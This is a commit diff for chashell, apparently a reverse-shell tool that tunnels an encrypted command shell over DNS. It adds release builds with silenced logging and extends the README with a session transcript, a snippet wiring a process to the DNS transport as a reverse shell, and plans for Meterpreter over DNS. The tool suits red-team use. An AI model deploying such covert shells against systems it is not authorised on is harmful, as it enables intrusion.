Add debug/release builds tags, improve README

Makefile

@@ -6,6 +6,7 @@ GCFLAGS="all=-trimpath=$GOPATH"
 
 CLIENT_BINARY=chashell
 SERVER_BINARY=chaserv
+TAGS=release
 
 OSARCH = "linux/amd64 linux/386 linux/arm windows/amd64 windows/386 darwin/amd64 darwin/386"
 
@@ -24,8 +25,8 @@ endif
 
 build: check-env ## Build for the current architecture.
 	dep ensure && \
-	go build -ldflags $(LDFLAGS) -gcflags $(GCFLAGS) -o release/$(CLIENT_BINARY) $(CLIENT_SOURCE) && \
-	go build -ldflags $(LDFLAGS) -gcflags $(GCFLAGS) -o release/$(SERVER_BINARY) $(SERVER_SOURCE)
+	go build -ldflags $(LDFLAGS) -gcflags $(GCFLAGS) -tags $(TAGS) -o release/$(CLIENT_BINARY) $(CLIENT_SOURCE) && \
+	go build -ldflags $(LDFLAGS) -gcflags $(GCFLAGS) -tags $(TAGS) -o release/$(SERVER_BINARY) $(SERVER_SOURCE)
 
 dep: check-env ## Get all the required dependencies
 	go get -v -u github.com/golang/dep/cmd/dep && \
@@ -34,12 +35,12 @@ dep: check-env ## Get all the required dependencies
 build-client: check-env ## Build the chashell client.
 	@echo "Building shell"
 	dep ensure && \
-	gox -osarch=$(OSARCH) -ldflags=$(LDFLAGS) -gcflags=$(GCFLAGS) -output "release/chashell_{{.OS}}_{{.Arch}}" ./cmd/shell
+	gox -osarch=$(OSARCH) -ldflags=$(LDFLAGS) -gcflags=$(GCFLAGS) -tags $(TAGS) -output "release/chashell_{{.OS}}_{{.Arch}}" ./cmd/shell
 
 build-server: check-env ## Build the chashell server.
 	@echo "Building server"
 	dep ensure && \
-	gox -osarch=$(OSARCH) -ldflags=$(LDFLAGS) -gcflags=$(GCFLAGS) -output "release/chaserv_{{.OS}}_{{.Arch}}" ./cmd/server
+	gox -osarch=$(OSARCH) -ldflags=$(LDFLAGS) -gcflags=$(GCFLAGS) -tags $(TAGS) -output "release/chaserv_{{.OS}}_{{.Arch}}" ./cmd/server
 
 
 build-all: check-env build-client build-server ## Build everything.

README.md

@@ -34,7 +34,7 @@ We tested those systems and it works without issues :
 
 * Windows (386/amd64)
 * Linux (386/amd64/arm64)
-* Mac OS X (386/amd64)
+* OS X (386/amd64)
 
 ### How to use Chaserv/Chashell
 
@@ -92,6 +92,7 @@ The client should now connect back to `chaserv`:
 
 ```
 [n.chatelain]$ sudo ./chaserv
+chashell >>> New session : 5c54404419e59881dfa3a757
 chashell >>> sessions 5c54404419e59881dfa3a757
 Interacting with session 5c54404419e59881dfa3a757.
 whoami
@@ -105,6 +106,11 @@ usr
 var
 ```
 
+Use the *sessions [sessionid]* command to interact with a client.
+When interacting with a session, you can use the *background* session in order to return to the *chashell* prompt.
+
+Use the *exit* command to close *chaserv*.
+
 ## Implement your own
 
 The *chashell/lib/transport* library is compatible with the *io.Reader* / *io.Writer* interface. So, implementing a reverse shell is as easy as :
@@ -120,9 +126,16 @@ cmd.Stdin = dnsTransport
 cmd.Run()
 ```
 
+## Debugging
+
+For more verbose messages, add *TAGS=debug* at the end of the make command.
+
 ## To Do
 
 * Implement asymmetric cryptography ([Curve25519](https://en.wikipedia.org/wiki/Curve25519), [XSalsa20](https://en.wikipedia.org/wiki/Salsa20) and [Poly1305](https://en.wikipedia.org/wiki/Poly1305))
 * Retrieve the host name using the `InfoPacket` message.
 * Create a *proxy/relay* tool in order to tunnel TCP/UDP streams. (Meterpreter over DNS !)
 
+## Credits
+
+* Nicolas Chatelain <n.chatelain -at- sysdream.com>

cmd/server/cli.go

@@ -10,7 +10,10 @@ import (
 )
 
 func interact(sessionID string) {
-	fmt.Println(consoleBuffer[sessionID])
+	buffer, dataAvailble := consoleBuffer[sessionID]
+	if dataAvailble && buffer.Len() > 0 {
+		fmt.Println(buffer.String())
+	}
 	delete(consoleBuffer, sessionID)
 
 	currentSession = sessionID

lib/logging/debug.go

@@ -0,0 +1,25 @@
+// +build debug
+
+package logging
+
+import "log"
+
+func Debug(fmt string, args ...interface{}) {
+	log.Printf(fmt, args...)
+}
+
+func Printf(fmt string, args ...interface{}) {
+	log.Printf(fmt, args...)
+}
+
+func Fatal(args ...interface{}) {
+	log.Fatal(args...)
+}
+
+func Fatalf(fmt string, args ...interface{}) {
+	log.Fatalf(fmt, args...)
+}
+
+func Println(v ...interface{}){
+	log.Println(v...)
+}

lib/logging/release.go

@@ -0,0 +1,10 @@
+// +build !debug
+
+
+package logging
+
+func Debug(fmt string, args ...interface{}) { }
+func Printf(fmt string, args ...interface{}) { }
+func Fatal(fmt string, args ...interface{}) { }
+func Println(v ...interface{}) { }
+func Fatalf(fmt string, args ...interface{}) {}

lib/transport/encoding.go

@@ -3,11 +3,11 @@ package transport
 import (
 	"bytes"
 	"chashell/lib/crypto"
+	"chashell/lib/logging"
 	"chashell/lib/protocol"
 	"chashell/lib/splitting"
 	"encoding/hex"
 	"github.com/golang/protobuf/proto"
-	"log"
 	"strings"
 )
 
@@ -23,13 +23,13 @@ func Decode(payload string, encryptionKey string) (output []byte, complete bool)
 	dataPacketRaw, err := hex.DecodeString(payload)
 
 	if err != nil {
-		log.Println("Invalid packet.\n")
+		logging.Println("Invalid packet.\n")
 		return
 	}
 
 	// Check if the packet is big enough to fit the nonce.
 	if len(dataPacketRaw) <= 24 {
-		log.Println("Received packet is too small!\n")
+		logging.Println("Received packet is too small!\n")
 		return
 	}
 
@@ -38,15 +38,15 @@ func Decode(payload string, encryptionKey string) (output []byte, complete bool)
 
 	// Raise an error if the message is invalid.
 	if !valid {
-		log.Println("Received invalid/corrupted packet.\n")
+		logging.Println("Received invalid/corrupted packet.\n")
 		return
 	}
 
 	// Parse the "Message" part of the Protocol buffer packet.
 	message := &protocol.Message{}
 	if err := proto.Unmarshal(output, message); err != nil {
 		// This should not append.
-		log.Printf("Failed to parse message packet: %v\n", err)
+		logging.Printf("Failed to parse message packet: %v\n", err)
 		return
 	}
 
@@ -92,7 +92,7 @@ func dnsMarshal(pb proto.Message, encryptionKey string, isRequest bool) (string,
 	packet, err := proto.Marshal(pb)
 
 	if err != nil {
-		log.Fatal("Unable to marshal packet.\n")
+		logging.Fatal("Unable to marshal packet.\n")
 	}
 
 	// Encrypt the message.
@@ -139,7 +139,7 @@ func Encode(payload []byte, isRequest bool, encryptionKey string, targetDomain s
 	initPacket, err := dnsMarshal(init, encryptionKey, isRequest)
 
 	if err != nil {
-		log.Fatalf("Init marshaling fatal error : %v\n", err)
+		logging.Fatalf("Init marshaling fatal error : %v\n", err)
 	}
 
 	// Iterate over every chunks.
@@ -161,7 +161,7 @@ func Encode(payload []byte, isRequest bool, encryptionKey string, targetDomain s
 		dataPacket, err := dnsMarshal(data, encryptionKey, isRequest)
 
 		if err != nil {
-			log.Fatalf("Packet marshaling fatal error : %v\n", err)
+			logging.Fatalf("Packet marshaling fatal error : %v\n", err)
 		}
 
 		dataPackets = append(dataPackets, dataPacket)

lib/transport/polling.go

@@ -1,8 +1,8 @@
 package transport
 
 import (
+	"chashell/lib/logging"
 	"chashell/lib/protocol"
-	"log"
 	"strings"
 	"time"
 )
@@ -32,12 +32,12 @@ func poll(stream dnsStream) {
 	pollPacket, err := dnsMarshal(pollQuery, stream.encryptionKey, true)
 
 	if err != nil {
-		log.Fatal("Poll marshaling fatal error : %v\n", err)
+		logging.Fatal("Poll marshaling fatal error : %v\n", err)
 	}
 
 	answers, err := sendDNSQuery([]byte(pollPacket), stream.targetDomain)
 	if err != nil {
-		log.Printf("Could not get answer : %v\n", err)
+		logging.Printf("Could not get answer : %v\n", err)
 		return
 	}
 

lib/transport/stream.go

@@ -1,10 +1,10 @@
 package transport
 
 import (
+	"chashell/lib/logging"
 	"github.com/Jeffail/tunny"
 	"github.com/rs/xid"
 	"io"
-	"log"
 )
 
 type dnsStream struct {
@@ -43,7 +43,7 @@ func (stream *dnsStream) Write(data []byte) (int, error) {
 	// Send the init packet to inform that we will send data.
 	_, err := sendDNSQuery([]byte(initPacket), stream.targetDomain)
 	if err != nil {
-		log.Printf("Unable to send init packet : %v\n", err)
+		logging.Printf("Unable to send init packet : %v\n", err)
 		return 0, io.ErrClosedPipe
 	}
 
@@ -53,7 +53,7 @@ func (stream *dnsStream) Write(data []byte) (int, error) {
 		_, err := sendDNSQuery([]byte(packet.(string)), stream.targetDomain)
 
 		if err != nil {
-			log.Printf("Failed to send data packet : %v\n", err)
+			logging.Printf("Failed to send data packet : %v\n", err)
 
 		}
 		return nil